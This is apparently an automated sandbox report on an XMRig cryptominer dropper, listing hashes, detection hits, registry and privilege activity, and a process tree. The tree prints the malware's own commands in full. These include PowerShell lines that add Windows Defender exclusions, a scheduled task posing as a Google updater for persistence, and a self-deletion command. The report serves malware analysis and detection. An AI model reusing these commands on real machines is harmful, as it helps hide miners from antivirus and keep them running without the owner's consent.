xmrig | cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

max time kernel
1800s
max time network
1803s
platform
windows10-2004_x64
resource
win10v2004-20230221-en
resource tags

arch:x64arch:x86image:win10v2004-20230221-enlocale:en-usos:windows10-2004-x64system
submitted
02/04/2023, 20:36

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General

Target

qM5GMXBk6hJE6Y5e.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 2348 created 3184	2348	qM5GMXBk6hJE6Y5e.exe	24
PID 2348 created 3184	2348	qM5GMXBk6hJE6Y5e.exe	24
PID 2348 created 3184	2348	qM5GMXBk6hJE6Y5e.exe	24
PID 2348 created 3184	2348	qM5GMXBk6hJE6Y5e.exe	24
PID 632 created 3184	632	updater.exe	24
PID 632 created 3184	632	updater.exe	24
PID 632 created 3184	632	updater.exe	24
PID 632 created 3184	632	updater.exe	24
PID 4440 created 3184	4440	conhost.exe	24
PID 632 created 3184	632	updater.exe	24

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 30 IoCs

miner

resource	yara_rule
behavioral2/memory/2628-247-0x00007FF7DFD40000-0x00007FF7E0534000-memory.dmp	xmrig
behavioral2/memory/2628-250-0x00007FF7DFD40000-0x00007FF7E0534000-memory.dmp	xmrig
behavioral2/memory/2628-254-0x00007FF7DFD40000-0x00007FF7E0534000-memory.dmp	xmrig
behavioral2/memory/2628-258-0x00007FF7DFD40000-0x00007FF7E0534000-memory.dmp	xmrig
behavioral2/memory/2628-260-0x00007FF7DFD40000-0x00007FF7E0534000-memory.dmp	xmrig
behavioral2/memory/2628-262-0x00007FF7DFD40000-0x00007FF7E0534000-memory.dmp	xmrig
behavioral2/memory/2628-264-0x00007FF7DFD40000-0x00007FF7E0534000-memory.dmp	xmrig
behavioral2/memory/2628-266-0x00007FF7DFD40000-0x00007FF7E0534000-memory.dmp	xmrig
behavioral2/memory/2628-268-0x00007FF7DFD40000-0x00007FF7E0534000-memory.dmp	xmrig
behavioral2/memory/2628-270-0x00007FF7DFD40000-0x00007FF7E0534000-memory.dmp	xmrig
behavioral2/memory/2628-272-0x00007FF7DFD40000-0x00007FF7E0534000-memory.dmp	xmrig
behavioral2/memory/2628-274-0x00007FF7DFD40000-0x00007FF7E0534000-memory.dmp	xmrig
behavioral2/memory/2628-276-0x00007FF7DFD40000-0x00007FF7E0534000-memory.dmp	xmrig
behavioral2/memory/2628-278-0x00007FF7DFD40000-0x00007FF7E0534000-memory.dmp	xmrig
behavioral2/memory/2628-280-0x00007FF7DFD40000-0x00007FF7E0534000-memory.dmp	xmrig
behavioral2/memory/2628-282-0x00007FF7DFD40000-0x00007FF7E0534000-memory.dmp	xmrig
behavioral2/memory/2628-284-0x00007FF7DFD40000-0x00007FF7E0534000-memory.dmp	xmrig
behavioral2/memory/2628-286-0x00007FF7DFD40000-0x00007FF7E0534000-memory.dmp	xmrig
behavioral2/memory/2628-288-0x00007FF7DFD40000-0x00007FF7E0534000-memory.dmp	xmrig
behavioral2/memory/2628-290-0x00007FF7DFD40000-0x00007FF7E0534000-memory.dmp	xmrig
behavioral2/memory/2628-292-0x00007FF7DFD40000-0x00007FF7E0534000-memory.dmp	xmrig
behavioral2/memory/2628-294-0x00007FF7DFD40000-0x00007FF7E0534000-memory.dmp	xmrig
behavioral2/memory/2628-296-0x00007FF7DFD40000-0x00007FF7E0534000-memory.dmp	xmrig
behavioral2/memory/2628-298-0x00007FF7DFD40000-0x00007FF7E0534000-memory.dmp	xmrig
behavioral2/memory/2628-300-0x00007FF7DFD40000-0x00007FF7E0534000-memory.dmp	xmrig
behavioral2/memory/2628-302-0x00007FF7DFD40000-0x00007FF7E0534000-memory.dmp	xmrig
behavioral2/memory/2628-304-0x00007FF7DFD40000-0x00007FF7E0534000-memory.dmp	xmrig
behavioral2/memory/2628-306-0x00007FF7DFD40000-0x00007FF7E0534000-memory.dmp	xmrig
behavioral2/memory/2628-308-0x00007FF7DFD40000-0x00007FF7E0534000-memory.dmp	xmrig
behavioral2/memory/2628-310-0x00007FF7DFD40000-0x00007FF7E0534000-memory.dmp	xmrig

Executes dropped EXE 1 IoCs

pid	Process
632	updater.exe

UPX packed file 30 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/2628-247-0x00007FF7DFD40000-0x00007FF7E0534000-memory.dmp	upx
behavioral2/memory/2628-250-0x00007FF7DFD40000-0x00007FF7E0534000-memory.dmp	upx
behavioral2/memory/2628-254-0x00007FF7DFD40000-0x00007FF7E0534000-memory.dmp	upx
behavioral2/memory/2628-258-0x00007FF7DFD40000-0x00007FF7E0534000-memory.dmp	upx
behavioral2/memory/2628-260-0x00007FF7DFD40000-0x00007FF7E0534000-memory.dmp	upx
behavioral2/memory/2628-262-0x00007FF7DFD40000-0x00007FF7E0534000-memory.dmp	upx
behavioral2/memory/2628-264-0x00007FF7DFD40000-0x00007FF7E0534000-memory.dmp	upx
behavioral2/memory/2628-266-0x00007FF7DFD40000-0x00007FF7E0534000-memory.dmp	upx
behavioral2/memory/2628-268-0x00007FF7DFD40000-0x00007FF7E0534000-memory.dmp	upx
behavioral2/memory/2628-270-0x00007FF7DFD40000-0x00007FF7E0534000-memory.dmp	upx
behavioral2/memory/2628-272-0x00007FF7DFD40000-0x00007FF7E0534000-memory.dmp	upx
behavioral2/memory/2628-274-0x00007FF7DFD40000-0x00007FF7E0534000-memory.dmp	upx
behavioral2/memory/2628-276-0x00007FF7DFD40000-0x00007FF7E0534000-memory.dmp	upx
behavioral2/memory/2628-278-0x00007FF7DFD40000-0x00007FF7E0534000-memory.dmp	upx
behavioral2/memory/2628-280-0x00007FF7DFD40000-0x00007FF7E0534000-memory.dmp	upx
behavioral2/memory/2628-282-0x00007FF7DFD40000-0x00007FF7E0534000-memory.dmp	upx
behavioral2/memory/2628-284-0x00007FF7DFD40000-0x00007FF7E0534000-memory.dmp	upx
behavioral2/memory/2628-286-0x00007FF7DFD40000-0x00007FF7E0534000-memory.dmp	upx
behavioral2/memory/2628-288-0x00007FF7DFD40000-0x00007FF7E0534000-memory.dmp	upx
behavioral2/memory/2628-290-0x00007FF7DFD40000-0x00007FF7E0534000-memory.dmp	upx
behavioral2/memory/2628-292-0x00007FF7DFD40000-0x00007FF7E0534000-memory.dmp	upx
behavioral2/memory/2628-294-0x00007FF7DFD40000-0x00007FF7E0534000-memory.dmp	upx
behavioral2/memory/2628-296-0x00007FF7DFD40000-0x00007FF7E0534000-memory.dmp	upx
behavioral2/memory/2628-298-0x00007FF7DFD40000-0x00007FF7E0534000-memory.dmp	upx
behavioral2/memory/2628-300-0x00007FF7DFD40000-0x00007FF7E0534000-memory.dmp	upx
behavioral2/memory/2628-302-0x00007FF7DFD40000-0x00007FF7E0534000-memory.dmp	upx
behavioral2/memory/2628-304-0x00007FF7DFD40000-0x00007FF7E0534000-memory.dmp	upx
behavioral2/memory/2628-306-0x00007FF7DFD40000-0x00007FF7E0534000-memory.dmp	upx
behavioral2/memory/2628-308-0x00007FF7DFD40000-0x00007FF7E0534000-memory.dmp	upx
behavioral2/memory/2628-310-0x00007FF7DFD40000-0x00007FF7E0534000-memory.dmp	upx

Drops file in System32 directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 632 set thread context of 4440	632	updater.exe	103
PID 632 set thread context of 2628	632	updater.exe	109

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	qM5GMXBk6hJE6Y5e.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe

Suspicious behavior: EnumeratesProcesses 30 IoCs

pid	Process
2348	qM5GMXBk6hJE6Y5e.exe
2348	qM5GMXBk6hJE6Y5e.exe
1276	powershell.exe
1276	powershell.exe
2348	qM5GMXBk6hJE6Y5e.exe
2348	qM5GMXBk6hJE6Y5e.exe
1668	powershell.exe
1668	powershell.exe
2348	qM5GMXBk6hJE6Y5e.exe
2348	qM5GMXBk6hJE6Y5e.exe
2348	qM5GMXBk6hJE6Y5e.exe
2348	qM5GMXBk6hJE6Y5e.exe
4368	powershell.exe
4368	powershell.exe
632	updater.exe
632	updater.exe
4232	powershell.exe
4232	powershell.exe
632	updater.exe
632	updater.exe
4940	powershell.exe
4940	powershell.exe
632	updater.exe
632	updater.exe
632	updater.exe
632	updater.exe
4440	conhost.exe
4440	conhost.exe
632	updater.exe
632	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
660	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1276	powershell.exe
Token: SeDebugPrivilege	1668	powershell.exe
Token: SeIncreaseQuotaPrivilege	1668	powershell.exe
Token: SeSecurityPrivilege	1668	powershell.exe
Token: SeTakeOwnershipPrivilege	1668	powershell.exe
Token: SeLoadDriverPrivilege	1668	powershell.exe
Token: SeSystemProfilePrivilege	1668	powershell.exe
Token: SeSystemtimePrivilege	1668	powershell.exe
Token: SeProfSingleProcessPrivilege	1668	powershell.exe
Token: SeIncBasePriorityPrivilege	1668	powershell.exe
Token: SeCreatePagefilePrivilege	1668	powershell.exe
Token: SeBackupPrivilege	1668	powershell.exe
Token: SeRestorePrivilege	1668	powershell.exe
Token: SeShutdownPrivilege	1668	powershell.exe
Token: SeDebugPrivilege	1668	powershell.exe
Token: SeSystemEnvironmentPrivilege	1668	powershell.exe
Token: SeRemoteShutdownPrivilege	1668	powershell.exe
Token: SeUndockPrivilege	1668	powershell.exe
Token: SeManageVolumePrivilege	1668	powershell.exe
Token: 33	1668	powershell.exe
Token: 34	1668	powershell.exe
Token: 35	1668	powershell.exe
Token: 36	1668	powershell.exe
Token: SeIncreaseQuotaPrivilege	1668	powershell.exe
Token: SeSecurityPrivilege	1668	powershell.exe
Token: SeTakeOwnershipPrivilege	1668	powershell.exe
Token: SeLoadDriverPrivilege	1668	powershell.exe
Token: SeSystemProfilePrivilege	1668	powershell.exe
Token: SeSystemtimePrivilege	1668	powershell.exe
Token: SeProfSingleProcessPrivilege	1668	powershell.exe
Token: SeIncBasePriorityPrivilege	1668	powershell.exe
Token: SeCreatePagefilePrivilege	1668	powershell.exe
Token: SeBackupPrivilege	1668	powershell.exe
Token: SeRestorePrivilege	1668	powershell.exe
Token: SeShutdownPrivilege	1668	powershell.exe
Token: SeDebugPrivilege	1668	powershell.exe
Token: SeSystemEnvironmentPrivilege	1668	powershell.exe
Token: SeRemoteShutdownPrivilege	1668	powershell.exe
Token: SeUndockPrivilege	1668	powershell.exe
Token: SeManageVolumePrivilege	1668	powershell.exe
Token: 33	1668	powershell.exe
Token: 34	1668	powershell.exe
Token: 35	1668	powershell.exe
Token: 36	1668	powershell.exe
Token: SeIncreaseQuotaPrivilege	1668	powershell.exe
Token: SeSecurityPrivilege	1668	powershell.exe
Token: SeTakeOwnershipPrivilege	1668	powershell.exe
Token: SeLoadDriverPrivilege	1668	powershell.exe
Token: SeSystemProfilePrivilege	1668	powershell.exe
Token: SeSystemtimePrivilege	1668	powershell.exe
Token: SeProfSingleProcessPrivilege	1668	powershell.exe
Token: SeIncBasePriorityPrivilege	1668	powershell.exe
Token: SeCreatePagefilePrivilege	1668	powershell.exe
Token: SeBackupPrivilege	1668	powershell.exe
Token: SeRestorePrivilege	1668	powershell.exe
Token: SeShutdownPrivilege	1668	powershell.exe
Token: SeDebugPrivilege	1668	powershell.exe
Token: SeSystemEnvironmentPrivilege	1668	powershell.exe
Token: SeRemoteShutdownPrivilege	1668	powershell.exe
Token: SeUndockPrivilege	1668	powershell.exe
Token: SeManageVolumePrivilege	1668	powershell.exe
Token: 33	1668	powershell.exe
Token: 34	1668	powershell.exe
Token: 35	1668	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 116 wrote to memory of 4492	116	cmd.exe	89
PID 116 wrote to memory of 4492	116	cmd.exe	89
PID 4368 wrote to memory of 3908	4368	powershell.exe	90
PID 4368 wrote to memory of 3908	4368	powershell.exe	90
PID 632 wrote to memory of 4440	632	updater.exe	103
PID 2008 wrote to memory of 3308	2008	cmd.exe	108
PID 2008 wrote to memory of 3308	2008	cmd.exe	108
PID 632 wrote to memory of 2628	632	updater.exe	109

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3184
- C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e.exe
  "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2348
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1276
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1668
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:116
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:4492
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4368
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:3908
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:4232
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:4940
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:4440
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:2008
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    PID:3308
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:4760
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  PID:2628

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:632

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
226B

MD5
fdba80d4081c28c65e32fff246dc46cb

SHA1
74f809dedd1fc46a3a63ac9904c80f0b817b3686

SHA256
b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398

SHA512
b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
